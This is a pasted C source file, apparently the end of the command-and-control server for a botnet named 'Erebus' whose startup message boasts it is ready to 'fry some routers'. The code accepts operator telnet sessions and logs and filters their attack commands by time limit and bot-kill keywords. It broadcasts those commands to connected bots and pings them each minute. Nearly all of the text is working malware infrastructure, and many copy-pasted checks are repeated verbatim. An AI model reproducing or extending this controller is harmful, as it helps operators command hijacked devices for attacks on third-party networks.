  707. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  708. fclose(logFile);
  709. goto end;
  710. } // max time
  711. if(strstr(buf, "99999"))
  712. {
  713. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  714. FILE *logFile;
  715. logFile = fopen("TIME.log", "a");
  716. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  717. fclose(logFile);
  718. goto end;
  719. } // max time
  720. if(strstr(buf, "999999"))
  721. {
  722. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  723. FILE *logFile;
  724. logFile = fopen("TIME.log", "a");
  725. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  726. fclose(logFile);
  727. goto end;
  728. } // max time
  729. if(strstr(buf, "3601"))
  730. {
  731. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  732. FILE *logFile;
  733. logFile = fopen("TIME.log", "a");
  734. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  735. fclose(logFile);
  736. goto end;
  737. } // max time
  738. if(strstr(buf, "3601"))
  739. {
  740. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  741. FILE *logFile;
  742. logFile = fopen("TIME.log", "a");
  743. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  744. fclose(logFile);
  745. goto end;
  746. } // max time
  747. if(strstr(buf, "3601"))
  748. {
  749. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  750. FILE *logFile;
  751. logFile = fopen("TIME.log", "a");
  752. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  753. fclose(logFile);
  754. goto end;
  755. } // max time
  756. if(strstr(buf, "3601"))
  757. {
  758. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  759. FILE *logFile;
  760. logFile = fopen("TIME.log", "a");
  761. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  762. fclose(logFile);
  763. goto end;
  764. } // max time
  765. if(strstr(buf, "3601"))
  766. {
  767. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  768. FILE *logFile;
  769. logFile = fopen("TIME.log", "a");
  770. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  771. fclose(logFile);
  772. goto end;
  773. } // max time
  774. if(strstr(buf, "3601"))
  775. {
  776. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  777. FILE *logFile;
  778. logFile = fopen("TIME.log", "a");
  779. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  780. fclose(logFile);
  781. goto end;
  782. }
  783. if(strstr(buf, "3601"))
  784. {
  785. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  786. FILE *logFile;
  787. logFile = fopen("TIME.log", "a");
  788. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  789. fclose(logFile);
  790. goto end;
  791. } // max time
  792. if(strstr(buf, "3601"))
  793. {
  794. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  795. FILE *logFile;
  796. logFile = fopen("TIME.log", "a");
  797. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  798. fclose(logFile);
  799. goto end;
  800. } // max time
  801. if(strstr(buf, "3601"))
  802. {
  803. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  804. FILE *logFile;
  805. logFile = fopen("TIME.log", "a");
  806. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  807. fclose(logFile);
  808. goto end;
  809. } // max time
  810. if(strstr(buf, "3601"))
  811. {
  812. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  813. FILE *logFile;
  814. logFile = fopen("TIME.log", "a");
  815. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  816. fclose(logFile);
  817. goto end;
  818. } // max time
  819. if(strstr(buf, "999999999999999"))
  820. {
  821. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  822. FILE *logFile;
  823. logFile = fopen("TIME.log", "a");
  824. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  825. fclose(logFile);
  826. goto end;
  827. }
  828. if(strstr(buf, "LOLNOGTFO"))
  829. {
  830. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  831. FILE *logFile;
  832. logFile = fopen("KILL.log", "a");
  833. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  834. fclose(logFile);
  835. goto end;
  836. }
  837. if(strstr(buf, "GTFOFAG"))
  838. {
  839. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  840. FILE *logFile;
  841. logFile = fopen("KILL.log", "a");
  842. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  843. fclose(logFile);
  844. goto end;
  845. }
  846. trim(buf);
  847. if(send(thefd, "\x1b[1;31m~> \x1b[36m ", 11, MSG_NOSIGNAL) == -1) goto end;
  848. if(strlen(buf) == 0) continue;
  849. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  850. FILE *logFile;
  851. logFile = fopen("report.log", "a");
  852. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  853. fclose(logFile);
  854. broadcast(buf, thefd, usernamez);
  855. memset(buf, 0, 2048);
  856. }
  857.  
  858. end: // cleanup dead socketgive
  859. managements[thefd].connected = 0;
  860. close(thefd);
  861. managesConnected--;
  862. }
  863. void *telnetListener(int port)
  864. {
  865. int sockfd, newsockfd;
  866. socklen_t clilen;
  867. struct sockaddr_in serv_addr, cli_addr;
  868. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  869. if (sockfd < 0) perror("ERROR opening socket");
  870. bzero((char *) &serv_addr, sizeof(serv_addr));
  871. serv_addr.sin_family = AF_INET;
  872. serv_addr.sin_addr.s_addr = INADDR_ANY;
  873. serv_addr.sin_port = htons(port);
  874. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  875. listen(sockfd,5);
  876. clilen = sizeof(cli_addr);
  877. while(1)
  878. { printf("New BOTNET Connection From: ");
  879. client_addr(cli_addr);
  880. FILE *logFile;
  881. logFile = fopen("Connections.log", "a");
  882. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  883. fclose(logFile);
  884. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  885. if (newsockfd < 0) perror("ERROR on accept");
  886. pthread_t thread;
  887. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  888. }
  889. }
  890.  
  891. int main (int argc, char *argv[], void *sock)
  892. {
  893. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  894. int s, threads, port;
  895. struct epoll_event event;
  896. if (argc != 4)
  897. {
  898. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  899. exit (EXIT_FAILURE);
  900. }
  901. port = atoi(argv[3]);
  902. printf("\x1b[32mErebus has now woken from his nap. He is charged and ready to fry some routers\n");
  903. telFD = fopen("bots.txt", "a+");
  904. threads = atoi(argv[2]);
  905. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  906. if (listenFD == -1) abort ();
  907. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  908. if (s == -1) abort ();
  909. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  910. if (s == -1)
  911. {
  912. perror ("listen");
  913. abort ();
  914. }
  915. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  916. if (epollFD == -1)
  917. {
  918. perror ("epoll_create");
  919. abort ();
  920. }
  921. event.data.fd = listenFD;
  922. event.events = EPOLLIN | EPOLLET;
  923. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  924. if (s == -1)
  925. {
  926. perror ("epoll_ctl");
  927. abort ();
  928. }
  929. pthread_t thread[threads + 2];
  930. while(threads--)
  931. {
  932. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  933. }
  934. pthread_create(&thread[0], NULL, &telnetListener, port);
  935. while(1)
  936. {
  937. broadcast("PING", -1, "ErebusV1");
  938. sleep(60);
  939. }
  940. close (listenFD);
  941. return EXIT_SUCCESS;
  942. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement